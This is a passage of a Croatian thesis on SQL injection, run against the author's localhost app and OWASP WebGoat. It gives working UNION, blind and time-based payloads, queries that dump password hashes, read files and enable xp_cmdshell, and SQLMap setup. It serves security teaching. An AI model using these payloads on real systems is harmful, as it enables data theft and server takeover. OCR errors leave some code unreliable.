pokusao izvrsiti upit. Kako je zadana matematicka operacija oduzimanja, potrebno je s lijeve
i desne strane operatora oduzimanja imati brojeve. Kako se s desne strane nalazi tekst
‘@@version’, SQL posluzitelj je pokusao pretvoriti tekstualni podatak u brojc¢ani, $to nije
uspio te nam je ispisao gresku koja sadrzi i vrijednost varijable @@version. Na ovaj nacin
je napadac¢ otkrio informaciju o naSem posluzitelju te moze nastaviti skupljati i druge

informacije.

1z prikazane greske moZemo vidjeti informacije o kojoj verziji SQL posluzitelja se radi, a u
naSem slucaju radi se o ,,Microsoft SQL Server 2016 (SP1) (KB3182545) - 13.0.4001.0
Express Edition®, te na kojem operacijskom sustavu se nalazi SQL posluzitelj, dok se u

naSem slucaju radi o ,,Windows 10 Pro 6.3 <X64> (Build 17134: )*“. Ove informacije
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napada¢ moze iskoristiti za daljnje napada na sustav, ukoliko nismo instalirali sve sigurnosne

zakrpe.
3.1.2. SQL napadi koriste¢i operator union

Unutar SQL jezika operator union se koristi za spajanje rezultata vise select upita.
Prilikom spajanja rezultata postoje 3 pravila koje je potrebno postivati:

= Svaki select upit mora vracati jednak broj kolona

= Sve kolone moraju imati podudarajuce tipove podataka

= Sve kolone moraju imati isti redoslijed

SELECT Ime, Prezime FROM Kupac
UNION
SELECT Ime, Prezime FROM Komercijalist

Ko6d 3.8 Primjer union operatora

Primjer K&d 3.8 neée prikazati sadrzaj tablica Kupac i Komercijalist kao dva

odvojena skupa redaka, ve¢ kao jedinstven skup redaka.

Napad umetanja SQL koda koriste¢i uniju je koristan za malicioznog korisnika iz vise
razloga; ukoliko web aplikacije ne prikazuje detaljan opis gresaka, koristenje unije se moze
iskoristiti za prikazivanje rezultata malicioznih upita. lzazivanje previse gresaka na
posluzitelju moze biti loSe jer potencijalno povecava vjerojatnost otkrivanja. Napad
umetanja SQL koda koriste¢i uniju ¢e smanjiti ,,buku* koju stvaramo izazivajuci greske, te
takav napad vrlo vjerojatno nece biti ni zabiljeZen na sustavu. Napad SQL kdda koristeci
uniju takoder moze potencijalno prikazati vecu koli¢inu informacija od napada SQL kdda

koristeci greske web aplikacije.

Kako napada¢ najéeSée ne zna strukturu nase aplikacije, metoda se oslanja na zdrav razum,
upornost i malo srec¢e. Uzmemo li za primjer Slika 3.2, vidimo da se novost sastoji od naslova
I teksta. Takoder, iz URL-a vidimo i da svaka novost ima pripadajucu identifikacijsku
vrijednost. Mozemo pretpostaviti da tablica ima tri kolone: kolona ID tipa int, kolona

Naslov tipa string i kolona Tekst tipa string.

Maliciozan upit (K&d 3.9) koji unosimo putem URL-a, s kojim ¢emo pokusati napasti web
aplikaciju, glasi:
7 UNION SELECT 1,'2','3!

Kdd 3.9 Maliciozan upit napada umetanja SQL koda koristeci uniju
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https://localhost:44390/MNovostis. X +
& C @ hitps://localhost:44390/Novosti?id=7 UNION SELECT 1,'2",'3 e

Doslo je do greske

Slika 3.5 Primjer neuspjelog napada umetanja SQL kdda koristeéi uniju

Iz Slika 3.5 mozemo vidjeti da na$ napad nije bio uspjeSan. Prate¢i pravila SQL jezika,
pokusavamo dokuciti gdje smo pogrijesili. Razlog zaSto smo odabrali novost s
identifikacijskom vrijednosti 7 je taj Sto ta novost ne postoji. Da je nas napad uspio, rezultat
upita bi bila dva retka, no kako web aplikacija prikazuje samo jednu novost, ne znamo bi li
se prikazala novost ili rezultat naseg upita. Kako smo odabrali novost koja ne postoji, sigurni
smo da ¢e krajnji rezultat biti samo jedan redak naseg upita. S obzirom na to da moramo
postivati pravila unije, pogrijesili smo u broju varijabli ili tipovima varijabli. Budu¢i da smo
u prijasnjem napadu (Slika 3.3) uspjeli matematic¢kim izrazom prikazati novosti, sigurni Smo
da je ID broj¢ani tip varijable, a pretpostavka je da smo vrijednost 7 ispravno pogodili.
Nadalje, kako se u naslovu i tekstu novosti nalaze slova, sigurni smo da se radi 0 znakovnom
tipu podataka, a buduéi da su vrijednosti '2' i ' 3 ' takoder znakovnog tipa, pretpostavljamo
da su za sada svi tipovi podataka ispravni. Preostaje nam samo pravilo o broju kolona.
Metodom uzaludnih pokusaja mozemo nadodati jo$ jednu kolonu znakovnog tipa, tako da
na$ idu¢i pokusaj malicioznog upita izgleda ovako:
7 UNION SELECT 1,'2','3','4’
https://localhost44200/Novostin X =+
< C |- httpsy/localhost:44390/Novostizid=7 UNION SELECT 1,'2.'3"'4 (2]
2

3

Slika 3.6 Primjer uspje$nog napada umetanja SQL koda koristeci uniju

S obzirom na to da nije doslo do greske i da vidimo ispisane vrijednosti malicioznog upita
dva i tri, mozemo zakljuciti da smo ispravno pogodili sintaksu SQL upita, te nam preostaje
umjesto vrijednosti '2 ' i ' 3" ubaciti upite koji nas zanimaju, primjerice:

7 UNION SELECT 1,SYSTEM USER,@@SERVERNAME, '4'
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https://localhost:44380/Novosti? X +

&« C | - https://localhost:44390/Novosti?id=7 UNION SELECT 1,SYSTEM_USER, @ @SERVERNAME, 4 e
WebAppBlog

PC-LUKA'LOCALDB#3E8339A9

Slika 3.7 Primjer uspjesnog napada umetanja SQL koda koriste¢i uniju, informacije o posluzitelju

Kao $to vidimo na Slika 3.7 uspjesno smo prikazali informacije o web aplikaciji i
posluzitelju. SYSTEM USER varijabla sadrzi korisnicko ime (,, WebAppBlog®) koje koristi

web aplikacija. @@SERVERNAME varijabla sadrzi informacije o nazivu posluzitelja.
3.1.3. Slijepi SQL napadi

Slijepi napad umetanja SQL koda iskoristiv je u situacijama kada otkrijemo ranjivu varijablu

koja je tipaboolean.

https://localhost:44390/SveNove X +

&« c & https;//localhost:44390/SveNovosti?PrikaziArhivirane=1 w 6
Arhivirana 1

Prva arhivirana novost

Arhivirana 2

Diruga arhivirana novost

Slika 3.8 Drugi primjer ispravnog rada aplikacije

https://localhost:44380/SveNove X +

<« c & https;//localhost:44390/SveNovosti?PrikaziArhivirane=1-@ @version * 6

Prva

Prva novost

Druga

Diruga novost

Slika 3.9 Primjer neuspjelog napada na aplikaciju koriste¢i slijepi napad SQL umetanja koda

Iz Slika 3.8 vidimo varijablu naziva PrikaziArhivirane za koju pretpostavljamo da
moze imati dvije vrijednosti: da Zelimo prikazati (vrijednost 1) i da ne Zelimo prikazati
(vrijednost 0), §to nas upucuje da se radi 0 boolean tipu varijable. Nakon $to smo pokusali
SQL napad temeljen na opisu greske (Slika 3.9), vidimo da aplikacija ne prikazuje greske,

vec¢ prikazuje rezultate za predodredenu vrijednost nula (ne zelimo prikazati arhivirane).
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https://localhost:44380/SveNove X +

< C https://localhost:44390/SveNovosti?PrikaziArhivirane=1 AND 1=2 (2]

Slika 3.10 Primjer uspjesnog slijepog napada umetanja SQL kdda

Na Slika 3.10 prikazan je uspjesan slijepi napad umetanja SQL kdda. Kako se s desne strane
AND operatora nalazi izraz ,,1=2%, $to nikada nije istina (eng. true), upit nije vratio nijedan

rezultat. Napisemo li izraz ,,2=2°, upit e vratiti rezultate kao sa Slika 3.8.

Izvlacenje podataka umetanje SQL koda na slijepo moze se usporediti s popularnom igrom
,Pogodi tko ?*; pravila igre su jednostavna - vi suparniku (u nasem sluc¢aju SQL posluzitelju)
postavljate pitanja na koja on odgovara s 'da’ i 'ne". Sto vise pitanja postavite, saznajete vise
informacija. U idu¢em primjeru ¢emo pokazati kako doznati verziju SQL posluzitelja.

SELECT 1 WHERE CHARINDEX ('SQL Server 2012', @@version) > 0
Kod 3.10 Primjer slijepog napada umetanja SQL koda
CHARINDEX funkcija prihvac¢a dva parametra - tekst koji trazimo i tekst unutar kojeg
trazimo, te vraca poziciju prvog pojavljivanja niza znakova ili 0, ukoliko se trazeni tekst ne
nalazi unutar teksta kojeg pretrazujemo. Tako ¢e funkcija CHARINDEX za izraz

SELECT CHARINDEX ('Algebra', 'Visoko uc¢ili3te Algebra')

vratiti vrijednost 17, no za izraz

SELECT CHARINDEX ('Zirafa', 'Visoko u&iliste Algebra')

funkcija ¢e vratiti vrijednost 0. Vratimo li se na primjer Kod 3.10, ako je uvjet s desne strane
WHERE izraza istinit, na$ upit ¢e vratiti vrijednost 1, no ako je neistinit, upit nece vratiti

rezultate.

https://localhost:44300/SveMNove X +

< c https://localhost:44390/SveNovosti? PrikaziArhivirane=(SELECT 1 WHERE CHARINDEX('SQL Server 2012, @@version) > 0) (2]

Slika 3.11 Primjer slijepog napada umetanja SQL kdda koji nije istinit
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https://localhost:44380/5veNo x +
<« (&) https://localhost:44390/SveNovosti? PrikaziArhivirane=(SELECT 1 WHERE CHARINDEX('SQOL Server 2016, @@version) > 0) [
Arhivirana 1
Prva arhivirana novost
Arhivirana 2

Druga arhivirana novost

Slika 3.12 Primjer slijepog napada umetanja SQL kdda koji je istinit

Na Slika 3.11 vidimo da se nisu prikazale novosti, $to nam govori da na nase pitanje
,Posluzitelju, jesi li ti verzije SQL Server 2012?%, odgovor glasi 'ne’. No, na naSe drugo

pitanje sa Slika 3.12 ,,Posluzitelju, jesi li ti verzije SQL Server 2016 ?*, odgovor glasi 'da’.
3.1.4. Vremenski napadi

Vremenski napad umetanja SQL koda je vrlo sli¢an slijepom napadu umetanja SQL koda.
No, umjesto da trazimo vizualnu razliku unutar web aplikacije, trebamo promatrati i mjeriti

vrijeme koje je potrebno da web aplikacija prikaze sadrzaj.

@ DevTools - localhost44390/SveNovosti?Prikazifrhivirane=1 — O x
[w ﬂ Elements Console Sources Network Performance Memaory Application Security Audits
® O YT Q  Vew I = Group by frame Preserve log Disable cache Offline MNo throttling ¥
Filter Hide data URLs [1]] ¥HR JS (S5 Img Media Font Doc WS Manifest Other
10 ms 20 ms W ms 40 ms 50 ms 60 ms 70 ms B0 ms 20 me 100 ms 110)

Name Status Type Initiator Size Time Waterfall A
|| SveMovostiTPrikaziArhivirane=1 200 document Other 179B ‘

Slika 3.13 Prikaz vremena potrebnog da bi se stranica ucitala

Na Slika 3.13 vidimo da je vrijeme potrebno da bi se cijela stranica ucita 63 milisekunde.
Da bismo uspje$no izveli vremenski napad umetanja SQL kdda, bit ¢e nam potreban IF

operator i WAITFOR funkcija.
I F operator sastoji se od dva dijela: prvi dio je uvjet, a drugi dio je akcija koja ¢e biti izvrSena
ukoliko je uvjet istinit.

WATITFOR funkcija zaustavlja izvrSavanje SQL kdda na odredeno vrijeme koje mi zadamo
putem parametra funkcije.

IF (CHARINDEX ('SQL Server 2016', @@version) > 0) WAITFOR
DELAY '00:00:05"
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Kéd 3.11 Primjer vremenskog napada umetanja SQL kbda

Primjer K&d 3.11 uvjet unutar IF operatora sadrzi poziv funkciji CHARINDEX koju smo
objasnili u poglavlju 3.1.3, ukoliko varijabla @ @ve r sion sadrzi skup znakova ,,SQL Server
2016 uvjet je istinit te ¢e se izvrSiti WAITFOR DELAY '00:00:05" dio naredbe koji

kaze ,,Pricekaj 5 sekundi®.

@ DevTools - localhost:44390/SveMovosti?Prikazifrhivirane= 1:%201F5:20{CHARINDEX(3:275QL %205 erver%202016%:27 %20@ @version) %20%3E3:200)3620... = O x
[x ﬂ Elements  Console  Sources Metwork Performance Memory  Application  Security Audits
® ©® =W YF Q  Vew 2 == Group by frame Preserve log Disable cache Offline Mo throttling ¥
Filter Hide data URLs |2 XHR J5 C55 Img Media Font Doc WS Manifest Other
500 ms: 1000 ms 1500 ms 2000 ms 2500 s 3000 ms 3500 ms 4000 ms 4500 ms. 5000 ms 5500 s 6000 s
Mame Status Type Initiator Size Time Waterfall A

| | SveMovosti?PrikaziArhivirane=1;%200F520(CHA... 200 document Other 3428 e

Slika 3.14 Primjer vremenskog napada umetanja SQL kdda

Buduc¢i da iz Slika 3.14 vidimo da je vrijeme uéitavanja stranice 5.08 sekundi, mozemo

utvrditi da je upit unutar uvjeta IF operatora istinit.

Vremenski napad umetanja SQL kbda ima svoje prednosti i mane. Prednost vremenskog
napada umetanja SQL koda je taj $to nece stvoriti preveliku ,,buku®, odnosno osoblje
zaduzeno za nadzor posluzitelja nece vidjeti greSke u sustavima nadzora. Mana vremenskog
napada umetanja SQL kdda je ta Sto se vremenski odmak moze dogoditi iz niza razloga, kao
Sto su npr. mrezni odziv ili preopterecenost posluZzitelja. Prilikom ovakve vrste napada
moramo paziti da odaberemo vremensku vrijednost koja se neupitno razlikuje od legitimnog

poziva na posluzitelj.

lako se slijepi napadi umetanja SQL kdda, bili oni vremenski ili vizualno bazirani, ne ¢ine
korisnim zbog toga §to je potrebno na slijepo pogadati informacije, oni u praksi uspijevaju
zbog toga §to je struktura baze u velikoj vecini slucajeva predvidiva. Primjerice, ¢im vidite
aplikaciju, bez da znate iSta o njoj, mozete pretpostaviti da se popis korisnika nalazi u tablici
naziva ,,Korisnici®, ,,Korisnik*, ,,User* ili ,,Users*. Struktura tablice gdje se nalazi popis
korisnika takoder je predvidiva jer znamo da svaki pojedini korisnik mora imati korisnicko
ime 1 lozinku, tako da moZemo pretpostaviti da se korisnicko ime nalazi u koloni naziva
,Korisnickolme® ili ,,Username*, dok za lozinku mozemo pokusati s vrijednostima
,,Lozinka®, ,,Password® ili ,,Secret*. Uzmemo li uobicajene prakse nazivanja tablica i kolona

u obzir, napadi slijepog umetanja SQL koda postaju vrlo prakti¢ni.
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4. Metode izvla€enja podataka

U prethodnom poglavlju smo na prakticnom primjeru vidjeli viSe metoda napada umetanja
SQL kbéda, a u ovom poglavlju ¢emo na tri razli¢ita sustava upravljanja relacijskim bazama
podataka pokazati kako mozemo prodrijeti dublje u sustav, ukoliko uspijemo otkriti ranjivost
unutar aplikacije.

Svaki programski jezik ima razliCite nacine prikaza greSaka i detalja o gresci. Napadacev
prvi korak je izvrsiti upit nad bazom podataka te 'dohvatiti’ rezultate tog upita na smislen
nacin. Uspijemo li pronaci napad koriste¢i operator union, rezultati upita bit ¢e prikazani na
ranjivoj aplikaciji, stoga nije potrebno ulagati dodatan napor kako bi rezultati bili vidljivi. U
idu¢im primjerima napada nastojat ¢emo doznati nazive baza podataka pojedinih SQL
posluzitelja. Kod napada temeljenog na opisu greske, klju¢no je pronaci funkciju koja ¢e
prilikom greske vratiti sadrzaj varijable (upita). U prethodnom poglavlju, kada se radilo o
Microsoft SQL Server posluzitelju, vidjeli smo greske koje sadrze informacije o serveru, no
u pozadini toga nalazi se funkcija convert. Funkcija convert sluzi za pretvaranje iz
jednog tipa podatka u drugi zadani tip podatka pa bi onda maliciozan upit na Microsoft SQL
Server izgledao ovako:

convert (int, (select db name()))

Rezultat ovog upita na Microsoft SQL Serveru je greska koja glasi:
Conversion failed when converting the nvarchar value
'Webshop' to data type int.
Vidimo da se na$ upit select db name () uspjesno izvrsio i vidimo da se koriStena baza

podataka zove ,,WebShop*.

Naidemo li na MySQL okolinu, mozemo Koristiti UpdateXML funkciju. UpdateXML je
funkcija unutar MySQL posluzitelja koja nam pomaze pri manipulaciji podataka koji su u
XML formatu. Poziv funkcije je u iduéem formatu:

UpdateXML (xml target, xpath expr, new xml)

Funkcija trazi sav XML tekst koji odgovara xpath expr izrazu unutar xml target te
ga zamjenjuje s new xml. UKoliko se unutar parametra xpath expr dogodi pogreska u
sintaksi, vrijednosti varijable bit ¢e prikazane, a pokusamo li izvrsiti sljedeci upit na ranjivoj
aplikaciji

UpdateXML (null, concat("0", (select database())), null)
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Dobit ¢emo gresku koja glasi:

XPATH syntax error: 'WebShop'

Kako vidimo, na$ upit select database () je uspjesno izvrSen, a mi rezultat tog upita

vidimo u gresci, kao $to vidimo i to da se trenutna koristena baza podataka zove ,,WebShop*.

Unutar Oracle okoline mozemo se posluziti s dvije funkcije: dbms xmlgen.getxml i
to char. Funkcija dbms xmlgen.getxml sluzi za pretvaranje rezultata SQL upita u
XML format. Funkcija to char sluZzi za pretvaranje raznih tipova podataka, poput DATE
ili NUMBER, a u nasem slucaju radi se 0 kompleksnom tipu podatka CL.OB koji se pretvara u
oblik koji je ¢itljiv Covjeku st ring. Maliciozan upit izgleda ovako:

to char (dbms_xmlgen.getxml ('select "'|| (select * from

global name)||'" FROM sys.dual')) FROM dual
Rezultat malicioznog upita izgleda ovako:

ORA-19202: Error occurred in XML processing
ORA-00904: "WebShop": invalid identifier
ORA-06512: at "SYS.DBMS XMLGEN", line 176
ORA-06512: at line 1

Ponovno vidimo da se naS upit select * from global name izvrSio, te da se trenutno

koriStena baza zove ,,WebShop*.

Nakon uspjesnog pronalaska ranjivog dijela aplikacije, te nakon Sto smo uspjeli izvrSiti upit
I vidjeti rezultate tog upita, dolazi korak u kojemu Zelimo saznati $to viSe informacija o
posluzitelju, kako bismo mogli prodrijeti dublje u aplikaciju, odnosno u sustav. lako se
sustavi upravljanja relacijskim bazama podataka razlikuju u na¢inu rada, informacije koje
su zanimljive napadac¢ima su jednake kroz sve sustave. Neke od osjetljivih informacija mogu
biti:

= Verzija posluZitelja

= popis korisnika (ukoliko imamo dovoljno visoka prava, ¢ak i lozinke u hash obliku)

» razina privilegija trenutnog korisnika

= popis dostupnih baza podataka

= popis tablica unutar baze podataka

= popis kolona unutar tablice

= podatci unutar tablica

* moZzemo li izvrSavati naredbe na razini operativnog sustava
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* mozemo li pristupiti datotekama koje se nalaze na posluzitelju.

4.1. Osjetljive informacije na Microsoft SQL posluzitelju

Prvi korak svakog napada¢a na sustav je prikupljanje informacija o sustavu. Sto vise
informacija o sustavu napadac uspije prikupiti daljnji koraci za izvlaCenje ili ugrozavanje
integriteta podataka ¢e biti uspjesniji. U idu¢im poglavljima ¢emo prikazati koje informacije
1 zasto su korisne napadacu, te na koji nacin napadac¢ moze doc¢i do njih. Navedeni upiti nisu

jedini koji su korisni napadacu, no oni su dobra poc¢etna tocka svakog napada.

SQL upit koji dohvaca verziju posluZzitelja je sljedeci:
SELECT @@version
Ova informacija korisna je napadacu ako na posluzitelju nije azurna verzija ili u slucaju da

nisu instalirane sigurnosne zakrpe. Moguce je iskoristiti neku poznatu ranjivost za prodiranje

dublje u posluzitel;.

SQL upit koji dohvaca korisni¢ko ime trenutnog korisnika (korisnik kojeg aplikacija koristi
za spajanje na posluzitelj):

SELECT system user
SQL upit koji dohvaca popis svih korisnika i njihovih lozinki u hash obliku.

SELECT name, master.sys.fn varbintohexstr (password hash)

from master.sys.sqgl logins
Lozinka u hash obliku sama po sebi nam nije korisna jer iz hash oblika nije moguce pretvoriti
u originalan tekst (engl. clear text). Postoje razni programi poput Hashcat koji pokusavaju
sve moguce kombinacije lozinki (engl. brute force), kako bi doznali koja je originalna

lozinka prije pretvaranja u hash oblik.

Ponekad nemarni zaposlenici postavljaju lozinku koja je identi¢na kao i korisnicko ime, ili
koriste istog korisnika kroz viSe sustava i posluzitelja. To napadaca moze postaviti u

povoljnu poziciju daljnje ugroze sustava.

SQL upit koji dohvaca neka od prava koje korisnici imaju na posluZzitelju.

SELECT hasaccess, sysadmin, securityadmin, serveradmin

FROM master..syslogins

Saznanja o visini prava koje pojedini korisnici imaju odaje nam koje korisni¢ke racune treba

imati u fokusu tokom napada.
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SQL upit koji dohvaca listu svih baza podataka koje se nalaze na posluzitelju.

SELECT name FROM master..sysdatabases

Imena baza podataka nam govori o vrsti podataka koje se nalaze u njima, primjerice imamo
li tri baze koje se zovu Blog, Webshop i Financije, jasna je i njihova namjena, a 0 motivima
napadaca ovisi koja baza ¢e biti fokus napada. Zelimo li dohvatiti podatke iz postojeéih baza,
potrebno je znati njihovu strukturu, a to mozemo saznati s idu¢im upitima:

SELECT * FROM Financije..sysobjects WHERE xtype = 'U'

Ovaj upit prikazuje listu svih tablica u bazi ,,Financije®.

SELECT *
FROM
Financije..syscolumns

WHERE

id

SELECT id
FROM

Financije..sysobjects
WHERE

Financije..sysobjects.name="'Racuni'

)

Gore navedeni upit Ce ispisati sve kolone koje se nalaze u tablici ,,Racuni®.

SQL upit koji ¢e procitati sadrzaj datoteke i vratiti ga kao rezultat upita.

CREATE TABLE tempData (data varchar (8000));
BULK INSERT tempData FROM 'c:\test.txt';
SELECT data FROM tempData

DROP TABLE tempData;

Microsoft SQL Server podrzava naredbu naziva xp_cmdshe11 koja pokrece naredbu koja
joj je predana kao parametar. To je vrlo korisno za napadace jer tada mogu pokretati
maliciozne programe na samom posluzitelju s vrlo visokim privilegijama. Naredbu je
potrebno omoguciti u postavkama posluzitelja (Sto nije ¢esta pojava), no imamo li dovoljno
visoka prava, naredbu mozemo sami omoguciti na sljede¢i nacin:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

EXEC sp_configure 'xp cmdshell', 1;
RECONFIGURE;
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Nakon toga slijedi i sam poziv naredbe:

EXEC xp cmdshell 'calc.exe'

Napada¢ ne mora nuzno pokrenuti maliciozan program da bi napravio Stetu na sustavu,
moguce je koristiti postojece programe i naredbe koje su ve¢ ugradene u sam operativni
sustav te na taj nacin pristupati dublje u mrezu. Napadac je takoder u moguénosti mijenjati

postavke posluzitelja kako bi dobio vecu kontrolu.

4.2. Osjetljive informacije na MySQL posluzitelju

U prethodnom poglavlju detaljno je objasnjeno koji su rizici pojedinih SQL upita, a da ne
ponavljamo informacije, u ovom poglavlju ¢emo nabrojati istozna¢ne upite za MySQL

posluzitelj.

SQL upit koji dohvaéa verziju posluzitelja. Ukoliko se na posluzitelju nalazi starija verzija
koja sadrzi sigurnosne greske koje su javno poznate, napadac ih moze iskoristiti da bi dobio
pristup sustavu.

SELECT @@version

SQL upit koji dohva¢a korisni¢ko ime trenutnog korisnika. 1z naziva trenutnog korisnika
napada¢ moZe saznati razinu prava koja su mu dostupna na sustavu.

SELECT user ()

SQL upit koji dohvaca popis svih korisnika i njihov hash od lozinke. Ukoliko napada¢
uspije saznati hash lozinke korisnika, on je u moguénosti saznati lozinku pomoc¢u programa
za ,,razbijanje* hash lozinki.

SELECT user, authentication string FROM mysgl.user
SQL upit koji dohva¢a prava korisnika na posluzitelju. Napadacu je vrlo korisna
informacija razina prava koju trenutni korisnik ima, zbog toga da ne alarmira osoblje
pristupajudi resursima na koja nema prava.

SELECT grantee, privilege type, 1is grantable FROM

information schema.user privileges

SQL upit koji dohvaca popis svih baza podataka na posluzitelju. Napadac iz imena baze
moze pretpostaviti prirodu podataka koji se nalaze u njo;j.

SELECT schema name FROM information schema.schemata
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SQL upit koji dohvaéa nazive tablica baze ,,Financije*“. Napadac iz imena tablica moze
pretpostaviti o kakvim podatcima je rije¢ unutar same tablice.

SELECT table schema, table name FROM

information schema.tables WHERE TABLE SCHEMA='Financije'
SQL upit koji dohvaca nazive kolona tablice ,,Racuni*. Napadac iz naziva kolona moze
saznati jesu li informacije njemu od koristi za daljnje radnje.

SELECT table schema, table name, column name FROM

information schema.columns WHERE TABLE NAME='Racuni'
SQL upit koji ée dohvatiti sadrzaj datoteke i vratiti ga kao rezultat. Na ovaj nacin
napada¢ moze ukrasti osjetljive datoteke, poput konfiguracijskih datoteka ili povjerljivih
dokumenata iz sustava.

SELECT LOAD FILE ('c:\\test.txt')

No, kod MySQL je teze cCitati datoteke. Nakon instalacije se koristi sigurnosna znacajka
secure file priv, koja onemogucava Citanje bilo koje datoteke te dozvoljava Citanje
samo iz odredenog direktorija. Postavku mozemo provjeriti idu¢om naredbom:

show variables like "secure file priv"

Postavku nije moguce mijenjati kroz SQL upit; postavka se mora promijeniti na razini
operacijskog sustava, a dodatne poteskoce napadacu stvara ¢injenica da MySQL posluzitelj
ne podrzava pokretanje naredbi kao §to nam Microsoft SQL Server omogucava koristeci
funkciju xp cmdshell. Kako je ove postavke teze promijeniti na MySQL posluzitelju, on

je u ovom aspektu sigurniji u usporedbi s Microsoft SQL Serverom.

4.3. Osjetljive informacije na Oracle posluzitelju

SQL upit koji dohvaca verziju posluzitelja. Ukoliko se na posluZitelju nalazi zastarjela
verzija napada¢ moze iskoristiti ranije otkrivene sigurnosne propuste kako bi dobio pristup
dublje u sustav.

SELECT banner FROM v$version WHERE banner LIKE 'Oracle$%';

SQL upit koji dohvaca korisni¢ko ime trenutnog korisnika. 1z naziva trenutnog korisnika
mozemo zakljuciti koja je razina prava koju posjeduje.

SELECT user FROM dual;
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SQL upit koji dohvaéa popis svih korisnika i njihov hash od lozinke. Uspije li napadac
ukrasti lozinke u hash obliku, on ih moze pokusati ,,probiti“ s alatima poput Hashcat ili John
the Ripper.

SELECT name, password FROM sys.users$;

SQL upit koji dohvaca prava trenutnog korisnika na posluZzitelju. Napadacu ne Zzeli
podizati uzbunu na posluzitelju ukoliko pokusa pristupiti informacijama na koje nema prava.

SELECT * FROM session privs;

SQL upit koji dohvaca popis svih baza podataka na posluzitelju. Iz naziva baze napada¢
moze zakljuciti o kakvim podatcima unutar baze je rijec.

SELECT DISTINCT owner FROM all tables;

SQL upit koji dohvaéa nazive tablica baze ,,Financije“. 1z naziva tablice napada¢ moZe
zakljuciti koje informacije su mu interesantne.

SELECT table name FROM all tables WHERE OWNER='Financije';

SQL upit koji dohvaca nazive kolona tablice ,,Racuni“. Napadac iz naziva kolona moze
pretpostaviti o kakvim podatcima je rije¢ te ih iskoristiti za daljnje maliciozne radnje.
SELECT column name FROM all tab columns WHERE
table name='Racuni';
Oracle posluzitelj podrzava pokretanje programskog koda napisanog u Java programskom
jeziku, ako je Java Runtime instaliran na posluzitelju. Kako je programski kod slozen i
zahtijeva mnogo koraka, ne¢emo ga detaljnije objasnjavati u ovom radu. No, sve informacije

potrebne dostupne su na internetu.
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5. Automatizirani alati za pronalazenje propusta

S obzirom na to da je ru¢no pronalazenje i testiranje sigurnosnih propusta unutar aplikacije
poprilicno dugotrajno, zahtjevno i1 podloZzno propustima, prirodan slijed dogadaja su
automatizirane skripte i alati koji sluze za otkrivanje greSaka, uz minimalno korisnicke
interakcije. Takve automatizirane alate mogu koristiti osobe koje Zele testirati jesu li njihovi
sustavi i aplikacije ranjive na napade umetanja SQL koda, no ujedno ih mogu Koristiti i

maliciozne osobe (napadaci) za otkrivanje sigurnosnih propusta.

U ovom poglavlju ¢emo prouciti popularni alat SQLMap koji se koristi za automatizirano
pronalazenje greSaka unutar aplikacije koje nam omogucéavaju SQL umetanje koda te koje

su njegove znacajke.

Za potrebe testiranja SQLMap alata takoder nam je potrebna ranjiva aplikacija. OWASP
(Open Web Application Security Project) organizacija je za potrebe edukacije napisala
aplikaciju koja namjerno ima sigurnosne propuste. Aplikacija se zove WebGoat (Slika 5.1)
te je napisana na nacin da sadrzi vise skupina lekcija. Ucenik (bilo tko tko je korisnik
aplikacije) prolazi kroz lekcije koje objasnjavaju osnove mrezne komunikacije putem HTTP
protokola, na koji na¢in rade web stranice, lekcije o napadima umetanja SQL kdda, napadi
vezani za autentifikaciju, Cross-Site Scripting (XSS) napadima, i jo§ par poznatih napada.
Za potrebe ovog rada fokusirat ¢emo se na lekcije o napadima umetanja SQL koda. Buduéi
da lekcije sadrze ranjive module (dijelove aplikacije), usmjerit cemo SQLMap alat upravo
na te ranjive module. WebGoat aplikacija pokrenuta je na Windows Server 2019 Standard

Build 17763, s instaliranim svim zadnjim aZuriranjima.
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@ WebGoat X +
&« c @ localhost:8080/WebGoat/start. nvc#lessan/Sqlinjection.lesson ¥ e
- SQL Injection (introduction) a-m i)m
Introduction >
General 3 Reset lesson
Injection Flaws >
SQL Injection (introduction)
Authentication Flaws > Concept
Cross-Site Scripting (XS8) 3 This lesson describes what is Structured Query Language (SQL) and how it can be manipulated to perform tasks
that were not the original intent of the developer.
Access Control Flaws >
Insecure Communication > Goals
I D ializati
nsecure Deserialization ’ » The wser will have a basic understanding of how SQL works and what it is used for
Request Forgeries > ) . o
« The user will have a basic understanding of what SQL injections are and how they work
Vulnerable Compenents - A9 >
« The user will demonstrate knowledge on:
Client side >
o DML, DDL and DCL
Challenges >

o String SQL injection
o Numeric SQL injection

o violation of the CIA triad

Slika 5.1 WebGoat aplikacija

5.1. SQLMap

SQLMap je alat pisan u Python programskom jeziku, a za potrebe ovog rada koriStena je
verzija 1.3.8.31. SQLMap nema graficko sucelje, sva podeSavanja rade se pomocéu
parametara u konzoli. SQLMap nije kompletno samostalan, te ¢emo ga morati navoditi kako

uspjesno odraditi interakciju s web stranicom.

Kao pocetnu to¢ku odabran je modul pod nazivom ,,Compromising confidentiality with
String SQL injection®. SQLMap potrebno je podesiti tako da imitira korisnicki unos. Za
imitiranje korisnickog unosa potrebno je viSe parametara, a najlaksi nacin za uvid u te
parametre je snimiti promet legitimnog upita. Vecina internet preglednika podrzava
snimanje mreznog prometa. Primjerice, koraci za snimanje mreznog prometa unutar Chrome

web preglednika su sljedeci:

1. posjetiti stranicu koju zelimo napasti

2. pritisnuti tipku F12 na tipkovnici koja otvara ,,DevTools* alat

3. odabrati karticu ,,Network

4. na korisni¢koj stranici upisati nasumi¢ne podatke (Slika 5.2 u nasem primjeru pod

,Employee Name* je upisana brojka 1, a pod ,,Authentication TAN* je upisan broj 2)
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5. pritisnuti gumb za slanje forme (u nasem slu¢aju na gumbu pise ,,Get department*)

6. nas upit je snimljen i moguce ga je vidjeti u ,,DevTools* prozoru (Slika 5.3).

I )
Employee Name: 1

Authentication TAN: 2

Get department

No employee found with matching last name. Or maybe your

authentication TAN is incorrect?
S -

Slika 5.2 WebGoat primjer korisni¢kog unosa

¥ General
Request URL: http://localhost:B888/WebGoat,/5qlInjection/attacks
Request Method: POST
Status Code: & 206
Remote Address: 127.2.8.1:3850
Referrer Policy: no-referrer-when-downgrade
¥ Request Headers ViEW SoUrce
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-U5;9=0.9,en;q=0.3
Connection: keep-aglive
Content-Length: 17
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Coolde: JS5ESSIONID=DEASAATAFSECDSASEDABIESF18370C1T
Host: localhost: 8288
Origin: http://localhost: 5088
Referer: http://localhost:8888/ WebGoat/start.mvc
Sec-Fetch-Mode: cors
Sec-Fetch-5ite: same-origin
